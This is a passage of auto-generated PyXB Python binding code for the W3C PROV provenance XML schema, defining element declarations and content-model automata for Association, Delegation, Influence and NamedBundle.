_BuildAutomaton_10() Association._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'activity'), IDRef, scope=Association, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 224, 6))) Association._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'agent'), IDRef, scope=Association, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 225, 6))) Association._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'plan'), IDRef, scope=Association, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 226, 6))) Association._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Association, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Association._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'role'), Role, scope=Association, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 422, 2))) Association._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Association, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) def _BuildAutomaton_11 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_11 del _BuildAutomaton_11 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 225, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 226, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 227, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 228, 6)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 229, 6)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 230, 6)) counters.add(cc_5) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(Association._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'activity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 224, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Association._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'agent')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 225, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Association._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'plan')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 226, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Association._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 227, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Association._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'role')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 228, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Association._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 229, 6)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 230, 6)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False) ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, True) ])) st_6._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Association._Automaton = _BuildAutomaton_11() Delegation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'delegate'), IDRef, scope=Delegation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 238, 6))) Delegation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'responsible'), IDRef, scope=Delegation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 239, 6))) Delegation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'activity'), IDRef, scope=Delegation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 240, 6))) Delegation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Delegation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Delegation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Delegation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) def _BuildAutomaton_12 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_12 del _BuildAutomaton_12 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 241, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 242, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 243, 6)) counters.add(cc_2) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Delegation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'delegate')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 238, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(Delegation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'responsible')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 239, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() symbol = pyxb.binding.content.ElementUse(Delegation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'activity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 240, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Delegation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 241, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Delegation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 242, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 243, 6)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, True) ])) st_5._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Delegation._Automaton = _BuildAutomaton_12() Influence._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'influencee'), IDRef, scope=Influence, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 251, 6))) Influence._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'influencer'), IDRef, scope=Influence, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 252, 6))) Influence._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Influence, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Influence._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Influence, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) def _BuildAutomaton_13 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_13 del _BuildAutomaton_13 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 253, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 254, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 255, 6)) counters.add(cc_2) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Influence._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'influencee')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 251, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(Influence._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'influencer')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 252, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Influence._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 253, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Influence._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 254, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 255, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, True) ])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Influence._Automaton = _BuildAutomaton_13() NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'entity'), Entity, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 475, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'activity'), Activity, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 476, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasGeneratedBy'), Generation, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 477, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'used'), Usage, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 478, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasInformedBy'), Communication, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 479, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasStartedBy'), Start, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 480, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasEndedBy'), End, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 481, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasInvalidatedBy'), Invalidation, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 482, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasDerivedFrom'), Derivation, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 486, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasRevisionOf'), Revision, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 487, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasQuotedFrom'), Quotation, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 488, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'hadPrimarySource'), PrimarySource, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 489, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'agent'), Agent, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 493, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'person'), Person, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 494, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'organization'), Organization, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 495, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'softwareAgent'), SoftwareAgent, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 496, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasAttributedTo'), Attribution, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 497, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasAssociatedWith'), Association, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 498, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'actedOnBehalfOf'), Delegation, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 499, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasInfluencedBy'), Influence, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 500, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'bundle'), Bundle, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 504, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'specializationOf'), Specialization, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 505, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'alternateOf'), Alternate, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 506, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'hadMember'), Membership, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 510, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'collection'), Collection, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 511, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'emptyCollection'), EmptyCollection, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 512, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'plan'), Plan, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 516, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'mentionOf'), Mention, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 520, 2))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'dictionary'), Dictionary, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 532, 1))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'emptyDictionary'), EmptyDictionary, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 542, 1))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'hadDictionaryMember'), DictionaryMembership, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 563, 1))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'derivedByInsertionFrom'), Insertion, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 579, 1))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'derivedByRemovalFrom'), Removal, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 595, 1))) NamedBundle._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'others'), Others, scope=NamedBundle, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 661, 3))) def _BuildAutomaton_14 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_14 del _BuildAutomaton_14 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 602, 8)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 603, 8)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 604, 8)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 605, 8)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 606, 8)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 607, 8)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 608, 8)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 609, 8)) counters.add(cc_7) cc_8 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 610, 8)) counters.add(cc_8) cc_9 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 611, 8)) counters.add(cc_9) cc_10 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 612, 8)) counters.add(cc_10) cc_11 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 613, 8)) counters.add(cc_11) cc_12 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 614, 8)) counters.add(cc_12) cc_13 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 615, 8)) counters.add(cc_13) cc_14 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 616, 8)) counters.add(cc_14) cc_15 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 617, 8)) counters.add(cc_15) cc_16 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 618, 8)) counters.add(cc_16) cc_17 = fac.CounterCondition(min=0, max=None, 